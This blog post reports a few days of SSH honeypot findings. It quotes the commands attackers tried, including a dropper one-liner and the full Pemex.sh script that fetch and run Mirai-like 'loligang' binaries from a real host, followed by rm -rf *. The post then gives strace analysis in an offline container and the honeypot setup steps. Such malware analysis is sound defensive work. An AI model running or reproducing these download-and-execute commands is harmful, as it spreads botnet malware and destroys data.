The Zerofox Syndicate

SSH Honeypot

2021-01-23

I ran a SSH honeypot for some days on a Linode VM. Here are my findings. The set-up is documented at the end of this document.

The results

The honeypot is configured to let anyone sign-in with any username and password combination.

By far the most popular command attempts were the following.

cat /etc/passwd
cat /proc/cpuinfo
cat /proc/cpuinfo | grep name | wc -l
echo Hi | cat -n
ifconfig
ip cloud print
ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
ps -ef | grep '[Mm]iner'
ps | grep '[Mm]iner'

The most interesting one was probably the one that attempts to download a script.

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/Pemex.sh; curl -O http://185.239.242.175/Pemex.sh; chmod 777 Pemex.sh; sh Pemex.sh; tftp 185.239.242.175 -c get Pemex.sh; chmod 777 Pemex.sh; sh Pemex.sh; tftp -r Pemex2.sh -g 185.239.242.175; chmod 777 Pemex2.sh; sh Pemex2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.239.242.175 Pemex1.sh Pemex1.sh; sh Pemex1.sh; rm -rf Pemex.sh Pemex.sh Pemex2.sh Pemex1.sh; rm -rf *

The full Pemex.sh script that this command attempted to download was as follows.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.x86; curl -O http://185.239.242.175/lmaoWTF/loligang.x86;cat loligang.x86 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.mips; curl -O http://185.239.242.175/lmaoWTF/loligang.mips;cat loligang.mips >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.mpsl; curl -O http://185.239.242.175/lmaoWTF/loligang.mpsl;cat loligang.mpsl >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm4; curl -O http://185.239.242.175/lmaoWTF/loligang.arm4;cat loligang.arm4 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm5; curl -O http://185.239.242.175/lmaoWTF/loligang.arm5;cat loligang.arm5 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm6; curl -O http://185.239.242.175/lmaoWTF/loligang.arm6;cat loligang.arm6 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.arm7; curl -O http://185.239.242.175/lmaoWTF/loligang.arm7;cat loligang.arm7 >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.ppc; curl -O http://185.239.242.175/lmaoWTF/loligang.ppc;cat loligang.ppc >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.m68k; curl -O http://185.239.242.175/lmaoWTF/loligang.m68k;cat loligang.m68k >awoo;chmod +x *;./awoo
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.239.242.175/lmaoWTF/loligang.sh4; curl -O http://185.239.242.175/lmaoWTF/loligang.sh4;cat loligang.sh4 >awoo;chmod +x *;./awoo

I also downloaded all these loligang binaries. I must say that this loligang seems to put a lot of effort in supporting different CPU architectures.

loligang.arm:        ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
loligang.arm5:       ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
loligang.arm6:       ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
loligang.arm7:       ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
loligang.m68k:       ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
loligang.mips:       ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
loligang.mpsl:       ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
loligang.ppc:        ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
loligang.sh4:        ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
loligang.spc:        ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
loligang.x86:        ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

This made me suspicious that I was dealing with IOT malware. When uploading it to Virustotal most anti-virus engines seem to agree that this is a sample of the Mirai botnet.

I was curious about what it was doing. I opened it up in Ghidra but since I don’t really know how to use it, I didn’t learn much. Some strings seemed to suggest it was going to do certain HTTP traffic and maybe use a cookie for authentication.

“strings on loligang file in ghidra”

Strace

I wanted to know what the malware would attempt to do so I decided to run it through strace in a container without any network.

First I needed to create a container with strace pre-installed.

podman run -it fedora bash

Inside the conainer I installed strace and exited.

dnf update -y
dnf install -y strace
exit

I looked up the container id of the container that just exited and committed it to create a new image with the name straceimg.

podman container ls -a
podman commit <container_id> straceimg

Start a new container from this image.

podman run -it \
    --cap-add=SYS_PTRACE \
    --network none \
    -v $(pwd):/mnt/ \
    straceimg bash

Once inside the container I made the malware executable and ran it with strace.

cp /mnt/loligang.x86
chmod +x loligang.x86
strace ./loligang.x86

It didn’t seem to run very long.

execve("./loligang.x86", ["./loligang.x86"], 0x7ffd9ad283e0 /* 14 vars */) = 0
[ Process PID=28 runs in 32 bit mode. ]
rt_sigprocmask(SIG_BLOCK, [INT], NULL, 8) = 0
rt_sigaction(SIGCHLD, {sa_handler=SIG_IGN, sa_mask=[CHLD], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x80561c7}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTRAP, {sa_handler=0x804f650, sa_mask=[TRAP], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x80561c7}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
socket(AF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) = -1 ENETUNREACH (Network is unreachable)
getsockname(3, {sa_family=AF_INET, sin_port=htons(52222), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
close(3)                                = 0
brk(NULL)                               = 0x9850000
brk(0x9851000)                          = 0x9851000
time(NULL)                              = 1611262404 (2021-01-21T20:53:24+0000)
getpid()                                = 28
getppid()                               = 25
times({tms_utime=0, tms_stime=0, tms_cutime=0, tms_cstime=0}) = 1433562711
write(1, "lzrd cock fest\0\"/proc/\0\"/exe\0", 29lzrd cock fest^@"/proc/^@"/exe^@) = 29
write(1, "\n", 1
)                       = 1
time(NULL)                              = 1611262404 (2021-01-21T20:53:24+0000)
fork()                                  = 29
fork()                                  = 30
fork()                                  = 31
exit(0)                                 = ?
+++ exited with 0 +++

It just seems to write out lzrd cock fest and quit. The malware wasn’t inactive of course, it had simply forked itself and several other processes were now running on this machine.

suspected mirai malware in container

In retrospect I probably should’ve restricted my CPU and memory resources on this container as well. Nothing bad happened this time but the malware might’ve just started up using all my resources forcing me to reboot.

I used strace to capture a few seconds of output of the other processes. I ran the following command and pressed Ctrl+C after a few seconds.

strace -p 38 > /mnt/pid38.txt

I did this for all the processes.

The first process

The first one attempts to connect to 185.239.242.175 on port and 8.8.8.8 on port 53. The first IP is probably the command and control server while the second IP is the famous google DNS server .

Maybe this is to retrieve backup COC-servers if the main one is down?

The second process

The second one is repeadetly opening the /proc directory.

open("/proc/", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 6
fstat(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl(6, F_SETFD, FD_CLOEXEC)           = 0
getdents64(6, 0xffbfd430 /* 36 entries */, 1024) = 1008
getdents64(6, 0xffbfd430 /* 32 entries */, 1024) = 1008
time(NULL)                              = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL)                              = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL)                              = 1611260893 (2021-01-21T20:28:13+0000)
getdents64(6, 0xffbfd430 /* 2 entries */, 1024) = 48
time(NULL)                              = 1611260893 (2021-01-21T20:28:13+0000)
time(NULL)                              = 1611260893 (2021-01-21T20:28:13+0000)
getdents64(6, 0xffbfd430 /* 0 entries */, 1024) = 0
close(6)                                = 0

I don’t know enough about these functions to know what they do but I read somewhere that Mirai enumerates processes by looking in the proc directory. At least that was what the top pdf said when I googled “lzrd cock fest”.

The third process

The third process one seems to constantely reach out to IPs on port 23.

sendto(-1, "E\0\0(!\26\0\0@\6\350|\0\0\0\0\0105i\t\271%\0\27\0105i\t\0\0\0\0"..., 40, MSG_NOSIGNAL, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("8.53.105.9")}, 16) = -1 EBADF (Bad file descriptor)

It might be trying to target random IPs and bruteforce telnet.

The setup

I spun up a Fedora VM on Linode and installed my dependencies.

dnf update -y
dnf install git podman buildah -y

The packages Buildah and Podman are used to build and run containers. They form an alternative to Docker. They handle much the same way, you can alias docker=podman and basically forget you are using podman. Under the hood however Docker will use a daemon to manage your containers while podman doesn’t use a daemon. Buildah is a secondary package that can be used OCI compliant containers by consuming Dockerfile-files.

Moving the SSH port

I wanted to use the default SSH port 22 for the honeypot. This meant I needed to move the current SSH daemon port.

I ran into two issues while doing this (at least on Fedora).

  1. firewall
  2. seLinux

The firewall was easy. I ran firewall-cmd and verified it was added.

firewall-cmd --add-port 2222/tcp
firewall-cmd --list-all

Then I modified the ssh daemon to listen on port 2222 instead of port 22.

vim /etc/ssh/sshd_config

I uncommented the line #Port 22 and made it Port 2222. On my desktop machine I added to my ~/.ssh/config file the following lines.

Host honey
  User root
  Hostname 139.162.22.160
  Port 2222

That way I can simply type ssh honey to attempt to connect to this machine.

After restarting the machine (or simply reloading the SSH daemon for the people that consider themselves sofisticated), we run into trouble with seLinux. Here Cockpit saved me from having to start over. (Or at least use the Linode recue console)

Cockpit

Cockpit is a handy web management interface that ships and is enabled by default on Fedora. (At least the one provided by Linode)

It listens on port 9090. So I went to https://139.162.22.160:9090 and opened the seLinux page to see the sshd alert. All I had to do was click the ‘Apply Solution’-button.

cockpit seLinux page

Cockpit also has a terminal page. This is handy if you ever accidentily lock yourself out of your SSH.

If you really prefer not to deal with this you can of course also outright disable seLinux completely. Personally I’d rather learn how to deal with seLinux and enjoy the extra layer of security.

Building and running

I downloaded the honeypot and opened the directory.

git clone https://github.com/sir-ragna/cobracmdr
cd cobracmdr/

I built the container using following command.

buildah bud --layers -t cobracmdr .

Technically the --layers flag is unecessary for the first build but I would advise using it on follow up builds to greatly speed it up. It caches the previously built layers. That way it won’t download the source containers each time.

To run the container use.

podman run -d -p 22:2222 cobracmdr

View the running container with podman container ps.

[root@li1388-160 ~]# podman container ps
CONTAINER ID  IMAGE                       COMMAND         CREATED     STATUS         PORTS                 NAMES
654a40e41647  localhost/cobracmdr:latest  /main -console  6 days ago  Up 6 days ago  0.0.0.0:22->2222/tcp  wizardly_colden

To view the logs from a running (or stopped container).

podman logs 654a40e41647 > honeypot-logs1.txt
less honeypot-logs1.txt

To follow live updates you can use the -f flag.

podman logs -f 654a40e41647
Tags: linux containers malware